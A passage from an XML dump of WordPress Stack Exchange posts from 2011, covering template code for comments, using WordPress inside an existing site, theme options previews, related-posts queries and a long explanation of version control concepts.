  <row Id="12668" PostTypeId="2" ParentId="12667" CreationDate="2011-03-21T21:44:52.580" Score="4" ViewCount="" Body="&lt;p&gt;Easy:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function show_portfolio_comments( $post_ID ) &#xA;{&#xA;    // NOT approved&#xA;    $comments_unapproved = get_comments( array( 'status' =&amp;gt; 'hold', 'post_id' =&amp;gt; $post_ID ) );&#xA;    foreach ( $comments_unapproved as $comments) &#xA;    {&#xA;      if ( current_user_can( 'edit_published_posts' ) // maybe you'll have to switch to some other cap &#xA;      {&#xA;      ?&amp;gt;&#xA;      &amp;lt;div class=&quot;comment&quot;&amp;gt;&#xA;         &amp;lt;h4&amp;gt;Unapproved Comments on your portfolio&amp;lt;/h4&amp;gt;&#xA;         &amp;lt;div class=&quot;comment-author&quot;&amp;gt;&amp;lt;?php echo $comment-&amp;gt;comment_author; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;         &amp;lt;div class=&quot;comment-content&quot;&amp;gt;&amp;lt;?php echo $comment-&amp;gt;comment_content; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php&#xA;      } // endif; - current_user_can( 'edit_published_posts' )&#xA;    }&#xA;&#xA;    // ALREADY approved&#xA;    $comments_approved = get_comments( array( 'status' =&amp;gt; 'approve', 'post_id' =&amp;gt; $post_ID ) );&#xA;    foreach ( $comments_approved as $comments) &#xA;    {&#xA;      ?&amp;gt;&#xA;      &amp;lt;div class=&quot;comment&quot;&amp;gt;&#xA;      &amp;lt;?php if ( current_user_can( 'edit_published_post' ) { ?&amp;gt;&#xA;         &amp;lt;h4&amp;gt;Approved Comments on your portfolio&amp;lt;/h4&amp;gt;&#xA;      &amp;lt;?php }  // endif; - current_user_can( 'edit_published_posts' ) ?&amp;gt;&#xA;         &amp;lt;div class=&quot;comment-author&quot;&amp;gt;&amp;lt;?php echo $comment-&amp;gt;comment_author; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;         &amp;lt;div class=&quot;comment-content&quot;&amp;gt;&amp;lt;?php echo $comment-&amp;gt;comment_content; ?&amp;gt;&amp;lt;/div&amp;gt;&#xA;      &amp;lt;/div&amp;gt;&#xA;      &amp;lt;?php&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Template Tag:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;// Use it in your template like this &amp;amp; don't forget to push the post ID into it:&#xA;$post_ID = $GLOBALS['post']-&amp;gt;ID;&#xA;// or:&#xA;global $post;&#xA;$post_ID = $post-&amp;gt;ID;&#xA;&#xA;show_portfolio_comments( $post_ID );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastEditorUserId="385" LastEditorDisplayName="" LastEditDate="2011-03-22T20:19:11.527" LastActivityDate="2011-03-22T20:19:11.527" CommentCount="4" />
  <row Id="12669" PostTypeId="1" CreationDate="2011-03-21T21:50:54.480" Score="2" ViewCount="86" Body="&lt;p&gt;After some solid advice from people on here about using WordPress for a small (six page) website, I wanted to broach another question regarding using WordPress for a non-blogging site. Yet, I know my client would like to update various, but small portions of their site from time-to-time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I won't be installing WP in the root, but a sub-directory and have all my core site files sitting in the root.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here are my questions:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I include content from Pages in WordPress and output that content on any page outside of the WP install directory? Is there something specific I would need to include?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do I have to use a Theme or can I still use my already built CSS?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd like to be able to use my own CSS for the site and not have it be tied to a Theme - is that possible? Meaning I use www.example.com/css/styles.css vs www.example.com/wp-content/themes/styles.css.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I also have a slider comprised of three DIVs for each panel, can I pull in that specific Page with that markup for the slider?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can I also make my own queries for data as well?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything that I won't be able to accomplish or advise against doing?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm mostly concerned about having to use a Theme, mostly because I don't know if I'll need to use it or not.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks for any help.&lt;/p&gt;&#xA;" OwnerUserId="4118" LastActivityDate="2011-03-21T23:35:01.413" Title="Using WordPress as piecemeal in existing site?" Tags="&lt;themes&gt;&lt;cms&gt;" AnswerCount="3" FavoriteCount="2" />
  <row Id="12670" PostTypeId="2" ParentId="12669" CreationDate="2011-03-21T23:01:43.823" Score="0" ViewCount="" Body="&lt;p&gt;If you are a PHP developer you can include the wp-load.php in any PHP file to load the wordpress environment. From there you can access anything in WordPress such as the database connection or WP functions.&lt;/p&gt;&#xA;" OwnerUserId="3973" LastActivityDate="2011-03-21T23:01:43.823" CommentCount="1" />
  <row Id="12672" PostTypeId="2" ParentId="12669" CreationDate="2011-03-21T23:16:11.857" Score="2" ViewCount="" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I include content from Pages in WordPress and output that content on any page outside of the WP install directory? Is there something specific I would need to include?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can load WP engine in any PHP file, see &lt;a href=&quot;http://codex.wordpress.org/Integrating_WordPress_with_Your_Website&quot; rel=&quot;nofollow&quot;&gt;integrating WP with your website&lt;/a&gt; in Codex.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Do I have to use a Theme or can I still use my already built CSS?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can skip theme functionality completely, partially or you can create custom theme with your own CSS and code.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I'd like to be able to use my own CSS for the site and not have it be tied to a Theme - is that possible? Meaning I use www.example.com/css/styles.css vs www.example.com/wp-content/themes/styles.css.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Yes. Nothing prevents your from outputting arbitrary CSS in template over theme's.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;I also have a slider comprised of three DIVs for each panel, can I pull in that specific Page with that markup for the slider?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;If you have sufficient understanding of PHP and learn some basic WP concepts - easily.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Can I also make my own queries for data as well?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Somewhat vague question. If you load WP engine you can use its API for database access. You can also query database directly but that would be much less secure and foolproof (especially if writing to it).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;Is there anything that I won't be able to accomplish or advise against doing?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Nothing you described so far seems extremely complex or impossible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Overall, since from description the site is small and doesn't have any special functionality, I'd consider just migrating it to WordPress completely.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-03-21T23:16:11.857" CommentCount="2" />
  <row Id="12673" PostTypeId="2" ParentId="12653" CreationDate="2011-03-21T23:34:07.183" Score="0" ViewCount="" Body="&lt;p&gt;The best GUI one I have seen is &#xA;&lt;a href=&quot;http://blog.ftwr.co.uk/archives/2005/11/03/windows-wordpress-toolbox/&quot; rel=&quot;nofollow&quot;&gt;http://blog.ftwr.co.uk/archives/2005/11/03/windows-wordpress-toolbox/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is a great visual tutorial here based on mercurial&#xA;&lt;a href=&quot;http://hginit.com/&quot; rel=&quot;nofollow&quot;&gt;http://hginit.com/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A lot of this depends on how well your IDE has svn and git integration that makes doing things easier, for instance Eclipse has a lot of tools but something like ultraedit ( which I used to use) has a strange version control gui and system.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The topic suffers from the boredom syndrome, at least for me it hard to learn the details due to this, I found watching youtube videos on the topic really helped the learning curve  x100.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2011-03-21T23:34:07.183" />
  <row Id="12674" PostTypeId="2" ParentId="12669" CreationDate="2011-03-21T23:35:01.413" Score="0" ViewCount="" Body="&lt;p&gt;Easiest way to &lt;em&gt;slowly&lt;/em&gt; change to wordpress:&lt;br&gt;&#xA;&lt;em&gt;Note: This really is a stupid way to use wordpress but it will work in 90% of all cases.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 1&lt;/strong&gt;&lt;br&gt;&#xA;install wp&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 2&lt;/strong&gt;&lt;br&gt;&#xA;Setup up wp pages and name them like the ones you already got (so your nav-links should point at your new wp-pages - see the slug below the title at page edit screen).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Step 3&lt;/strong&gt;&lt;br&gt;&#xA;Open up one page after the other and paste your existing static html page code in the &lt;em&gt;html&lt;/em&gt;-editor (don't forget to press &quot;update&quot;).&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-21T23:35:01.413" CommentCount="2" />
  <row Id="12675" PostTypeId="2" ParentId="12370" CreationDate="2011-03-21T23:40:22.140" Score="1" ViewCount="" Body="&lt;p&gt;Do it like this in your &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_post_type_support_for_pages() &#xA;{&#xA;    // UNCOMMENT if you want to remove some stuff&#xA;    // Replace 'page' with 'post' or a custom post/content type&#xA;    # remove_post_type_support( 'page', 'title' );&#xA;    remove_post_type_support( 'page', 'editor' );&#xA;    # remove_post_type_support( 'page', 'thumbnail' );&#xA;    # remove_post_type_support( 'page', 'page-attributes' );&#xA;    # remove_post_type_support( 'page', 'excerpt' );&#xA;}&#xA;add_action( 'admin_init', 'remove_post_type_support_for_pages' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-21T23:40:22.140" CommentCount="1" />
  <row Id="12677" PostTypeId="1" CreationDate="2011-03-22T00:12:37.430" Score="-2" ViewCount="31" Body="&lt;p&gt;Does anyone know what skin or theme they used for omgiv.com? I like the style and would like to use the same format.&lt;/p&gt;&#xA;" OwnerUserId="4123" LastActivityDate="2011-03-22T00:22:38.857" Title="What skim / theme is used for omgiv.com?" Tags="&lt;themes&gt;" AnswerCount="1" />
  <row Id="12678" PostTypeId="2" ParentId="12677" CreationDate="2011-03-22T00:22:38.857" Score="0" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://www.woothemes.com/2011/02/delicious-magazine/&quot; rel=&quot;nofollow&quot;&gt;It's from Woo.&lt;/a&gt; A short look into the source code would've shown that to you.&lt;/p&gt;&#xA;" OwnerUserId="385" LastActivityDate="2011-03-22T00:22:38.857" CommentCount="1" />
  <row Id="12679" PostTypeId="1" AcceptedAnswerId="12699" CreationDate="2011-03-22T00:51:57.527" Score="2" ViewCount="176" Body="&lt;p&gt;I'm trying to create a new wordpress template and inside it I added a Control Panel, inside this control panel there is an option that allows user to choose where he want's to place a  on a map, I try to explain: user can set div's left and top attributes via control panel.&#xA;Now I know how to add an iframe that can show a preview of the changes but it doesn't work as I would like (how to add the preview? read here: &lt;a href=&quot;http://wordpress.stackexchange.com/questions/12627/modify-css-via-theme-control-panel&quot;&gt;Modify CSS via Theme Control Panel&lt;/a&gt;) What I would like to add is a &lt;strong&gt;real time&lt;/strong&gt; preview. As soon as the user modify TOP or LEFT attribute preview has to show what it is happening without showing it to &quot;live&quot; blog.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here is my function.php:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array( &quot;name&quot; =&amp;gt; &quot;Before we start&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Where is the map?&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Insert map page url&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_pama&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;http://examplepage.com&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 1&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Activate zona 1?&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Choose yes or no&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona1c&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 1 X-Axis&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Where do you want it on x-axis?&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona1x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 1 Y-Axis&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Where do you want it on y-axis?&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona1y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 1&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;section&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;open&quot;),&#xA;array(  &quot;name&quot; =&amp;gt; &quot;Activate zona 2?&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Choose yes or no&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona1c&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;checkbox&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;false&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 2 X-Axis&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Choose where you want it on X-Axis&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona2x&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Left:???&quot;),&#xA;array( &quot;name&quot; =&amp;gt; &quot;Zona 2 Y-Axis&quot;,&#xA;    &quot;desc&quot; =&amp;gt; &quot;Choose where you want it on Y-Axis&quot;,&#xA;    &quot;id&quot; =&amp;gt; $shortname.&quot;_zona2y&quot;,&#xA;    &quot;type&quot; =&amp;gt; &quot;text&quot;,&#xA;    &quot;std&quot; =&amp;gt; &quot;Top:???&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;array( &quot;type&quot; =&amp;gt; &quot;close&quot;),&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This is the iframe that I use to show the preview inside Control Panel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;iframe src=&quot;&amp;lt;?php echo clean_url(apply_filters('preview_post_link', add_query_arg('preview', 'true', get_option('appacqua_pama')))); ?&amp;gt;&quot; width=&quot;100%&quot; height=&quot;600&quot; &amp;gt;&amp;lt;/iframe&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Ok, now the big question is there a STEP TO STEP way to add a preview on real time (I don't know how to explain it better, I'm really sorry...), what do you think will it be possible to use ajax? (I heard about it but I'm not a programmer so please write in a Dummy Proof way!!!) Will I need to add also a PREVIEW button instead of only SAVE button? How to add it? Do you know Mystique theme by digitalnature? something like this will be GREAT! If you can't write it here why don't you write a very good, and step to step, tutorial on your website? There is a lack of good articles about how to create a very good Theme-Option panel with a lot of functionalities for wordpress 3.x maybe you'll be the next and you'll also help us...poor noobs :-)&#xA;Thank you very much for your time and patience!&lt;/p&gt;&#xA;" OwnerUserId="4107" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-03-22T01:16:34.150" LastActivityDate="2011-08-11T02:29:10.153" Title="Add a preview to a Wordpress Control Panel" Tags="&lt;theme-development&gt;&lt;css&gt;&lt;template&gt;&lt;ajax&gt;&lt;theme-options&gt;" AnswerCount="2" FavoriteCount="3" />
  <row Id="12681" PostTypeId="2" ParentId="12663" CreationDate="2011-03-22T01:22:14.907" Score="3" ViewCount="" Body="&lt;p&gt;Try this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your single-accessory.php template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;    &amp;lt;?php &#xA;      // excludes this post from 'Related posts' in the sidebar&#xA;      $GLOBALS['current_id'] = $post-&amp;gt;ID; &#xA;&#xA;      ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;For your sidebar or where you want to show related posts:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;        if (is_singular('accessory') ) :&#xA;        global $post;&#xA;        $categories = get_the_category();&#xA;            $exclude = $GLOBALS['current_id'];&#xA;        $args = array(&#xA;        'post_type' =&amp;gt; 'accessory',&#xA;        'post__not_in' =&amp;gt; array($exclude),&#xA;        'posts_per_page' =&amp;gt; -1&#xA;                 );&#xA;&#xA;        foreach ($categories as $category) :&#xA;        $posts = get_posts($args);&#xA;&#xA;        if(count($posts) &amp;gt; 1) {&#xA;&#xA;                 //do stuff&#xA;}&#xA; endforeach; &#xA; ?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="251" LastActivityDate="2011-03-22T01:22:14.907" />
  <row Id="12682" PostTypeId="1" AcceptedAnswerId="15474" CreationDate="2011-03-22T01:40:19.383" Score="4" ViewCount="289" Body="&lt;p&gt;What are you experiences compiling Wordpress using Hip Hop? (&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;a href=&quot;https://github.com/facebook/hiphop-php/wiki/running-hiphop&quot; rel=&quot;nofollow&quot;&gt;https://github.com/facebook/hiphop-php/wiki/running-hiphop&lt;/a&gt;&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Specific:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;is this maintainable with upgrades?&lt;/li&gt;&#xA;&lt;li&gt;is the performance increase bigger than using alternatives?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="576" LastActivityDate="2011-04-23T21:44:32.470" Title="Experiences with compiling WordPress using Hip Hop?" Tags="&lt;php&gt;&lt;facebook&gt;&lt;hiphop&gt;" AnswerCount="1" CommentCount="3" />
  <row Id="12683" PostTypeId="2" ParentId="12653" CreationDate="2011-03-22T01:52:46.700" Score="6" ViewCount="" Body="&lt;p&gt;Im going to make this answer a blog article since it went slightly off-topic GRIN.&#xA;On &lt;a href=&quot;http://wp.leau.co/2011/02/25/how-to-setup-your-wordpress-php-development-environment/&quot; rel=&quot;nofollow&quot;&gt;http://wp.leau.co/2011/02/25/how-to-setup-your-wordpress-php-development-environment/&lt;/a&gt; in chapter 6 I made some explanation for SVN in eclipse but you are probably looking for something else.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The story I made here was about your comment &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;So for now I wing it with VCS integration features in IDEs (NetBeans, PHPStorm). Which often leaves me confused on specifics and ways of doing things properly.&quot; and &quot;Something that focuses on concepts and workflow, rather than typing in arcane lines in console.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have heard that one more often I wanted to explain SVN in a broader context e.g. describing &quot;programming languages&quot; first and then explain PHP makes you understand PHP better and in this case Configuration Management first and then the SVN solution in it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I will just type something here and if it is off-topic or not needed then I will delete it:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;------------8&amp;lt;----------------&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you install Eclipse PDP, I have written this: [ &lt;a href=&quot;http://wp.leau.co/2011/02/25/how-to-setup-your-wordpress-php-development-environment/&quot; rel=&quot;nofollow&quot;&gt;http://wp.leau.co/2011/02/25/how-to-setup-your-wordpress-php-development-environment/&lt;/a&gt; ]&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you scroll down to #6 I explain briefly how to install collabnet subclipse in Eclipse (basically just point to the server select all and install)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Eclipse with whatever version management tool, the commands for version management are  always under rightmouse click &quot;TEAM&quot;. Since you can switch between projects you can have support for multiple version management tools and most commands are familiar over tools via the GUI.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;Plugins&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;As YOU know: For a new WordPress plugin project you get a svn location from WordPress.org (in your mail box), they use the Trunk for your latest code and &quot;tags&quot; copies for stable releases. (VERY basic CM pattern). This is what you see at first glance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So your project will be linked to TRUNK. and you can simply commit to that. This is the place you work in (but not where you release from) (unless you specify 'trunk' in the readme.txt as location for your final code).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Furthermore you can include the WordPress /wp-includes and /wp-admin in your Eclipse project as libraries so that you can lookup functions and see deprecated functions. These are not writeable and so fall not under version management (!). This is from client side so not the &quot;externals&quot; which actually link in the version management project.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As soon as you have a stable version, select the stuff and rightclick &quot;team&quot; and &quot;create tag/branch&quot;, this opens up the WordPress svn location and you can select the tags directory and type a new number and your new version is live (which is maybe of use for someone reading this). Notice that you should not select the root of your project but everything else or else it will create that root also under your tags/2.3.4 which is not what you want you want everything under the root to be in your /tag directory.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See the posting for some screen shots.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://wp.leau.co/files/2011/02/image_thumb17.png&quot; alt=&quot;&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;WordPress itself Contributor&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;If you are a contributor you can use the same as above but you create &quot;patches&quot; from changes you made. &quot;Patches&quot; is a concept in the CM world e.g. subversion provides this or jazz RTC. With right mouse click &quot;Apply patch&quot; you can apply a patch if you have a patch that has not yet been applied to the WordPress trunk.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Some people also commit directly to the trunk.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;WordPress itself &quot;Read&quot;&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Just create a project 'WordPress' which contains a checkout of the /LATEST version in the trunk (of the subversion code), again, via team &gt; checkout.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Personally I don't do this but just use an export of the latest code (with force) to just get a directory with the latest WordPress version (so which does not fall under any version management)&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;In general&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Since you have some experience with VCS and with questions around SVN: Basically all version tooling is about the concept of naming things. Or better said having the best namespace. You can map most commands from CVS, Git, RTC, ClearCase, SourceSafe etc... to the concept around this namespace. Since you have some/little experience with other tools, a little broader:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;New people often stare themselves blind on certain commands or a specific piece of functionality but providing the best option to place all elements needed in a namespace is the core thing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So since this is basically the core functionality of these tools the term &quot;version management&quot; is wrong. It is actually a name-space-manager.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So if you have &lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;/project A/department B/Team C/Member D/Stream E/Component F/Element G/Branch H/ Branch I/Version J&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;You can create a unique name for each &quot;thing&quot;. The above is a implementation of a namespace &#xA;you need for a certain purpose using one of the namespace tools.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost all concepts in this world can be mapped to this so the the way you CAN support your custom namespace/taxonomy depends on the capabilities of your tool. So ... it depends really on the concepts and choices the designers of the hundreds of different tools have made. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;In a good tool you can click and see this complete &lt;strong&gt;taxonomy&lt;/strong&gt; in one tree or zoom in one that one tree.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That is the core: a tool that can help you manage complexity (see complexity in wikipedia:  &lt;a href=&quot;http://en.wikipedia.org/wiki/Complexity&quot; rel=&quot;nofollow&quot;&gt;http://en.wikipedia.org/wiki/Complexity&lt;/a&gt; ) by giving you good tools to manage YOUR CUSTOM taxonomy. The person creating the taxonomy an thinking how to set it up is the configuration manager he write a plan called the configuration management plan thinking this out first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just imagine someone asking you to create a set of custom taxonomies in WordPress that represent ALL objects in his company including the ability to get the state out of it as it was at any given moment. You can make a lot of design choices and everyone will produce something else based on some choices. Some will contain more features some are more simple and the more complex ones all made different decisions. This is &quot;these tools&quot;. So I never understand discussions on tool level about version management because that is completely weird.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In PHP nowadays you can make namespaces you make a hierarchy with directories, apply naming conventions to objects and within them methods. If you take one file which you have placed in a hierarchy, take it a step further. You add one / behind it and place a version number behind it. That is even not enough because you would want team A working on version 4 of the file and team B working on that version. So you add another / and add the branch id. This is how you build the namespace. Depending on the tool you can go as crazy as you would like.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But it means: if someone comes to you asking &quot;where is document Z&quot; you can not give the answer. Because in a version management system &quot;document Z&quot; does not exist. And even when he says give me &quot;document Z version 5&quot; you can not hand it over since he could mean &quot;document Z version 5&quot; of the team 1 branch or &quot;document Z version 5&quot; of the team 2 branch. It's all about naming. &quot;document Z version 5&quot; is simply a not correct naming approach in the defined namespace.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Subversion you can only do this limited, so that makes it simple to understand. Some concepts matched to this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;&quot;version&quot;&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A version is a revision of a certain element. So e.g. wp-config.php version 5.&#xA;In a tool like ClearCase you can also see individual versions of elements and &quot;commit&quot; individual files (but also do atomic commits or change set or whatever).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Subversion handling versions is more limited:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a set of changes you make locally in one go you &quot;&lt;strong&gt;commit&lt;/strong&gt;&quot; which means that that complete set of &quot;changes&quot; atomically are committed and the whole base gets a new version number. This is the version number you see in the WordPress subversion site.&lt;/li&gt;&#xA;&lt;li&gt;so you can not make locally more changes on 1 file and have them all treated as singular new versions as in clearcase. all changes you make locally to that 1 file or any other are submitted in one go and get that &quot;unique new name&quot;.&lt;/li&gt;&#xA;&lt;li&gt;if you have no access to the repository (rights) you can make a set of changes and save those in a &quot;patch&quot;. You can then send that patch to someone such as an integration manager or even a build manager who applies it to the repository. Tools like e.g. RTC also support &quot;patches&quot;. So one person creates a patch and another one applies the patch. You should consider this really as the word means &quot;a patch&quot; so not the default use case of development of code.&lt;/li&gt;&#xA;&lt;li&gt;instead of /branch N/hello.doc/version 25 there are also labels such as /branch N/hello.doc/LATEST or /HEAD. In some version management systems you can apply complex labels and then write scripts working on these labels. &lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;working on a version&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In Subversion the default use case is that you simply download all stuff to your harddisk from a repository &lt;strong&gt;checkout&lt;/strong&gt; , work on the stuff and then &lt;strong&gt;commmit&lt;/strong&gt; and then face all the changes other people made whereafter you resolve conflicts. These concepts you see in the GUI. IF you want to prevent someone else also editing your e.g. hello.doc then you &lt;strong&gt;LOCK&lt;/strong&gt; it meaning: no-one else should be able to change it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I REALLY don't like that idea :( IMHO that is very bad practice. for comparison and understanding: In ClearCase a &lt;strong&gt;checkout&lt;/strong&gt; is more or less comparable to a lock and a &lt;strong&gt;checkin&lt;/strong&gt; is a commit (in subversion checkin is an alias for commit). This is the default use case in ClearCase where it also supports &lt;strong&gt;hijacks&lt;/strong&gt; which is the same as a 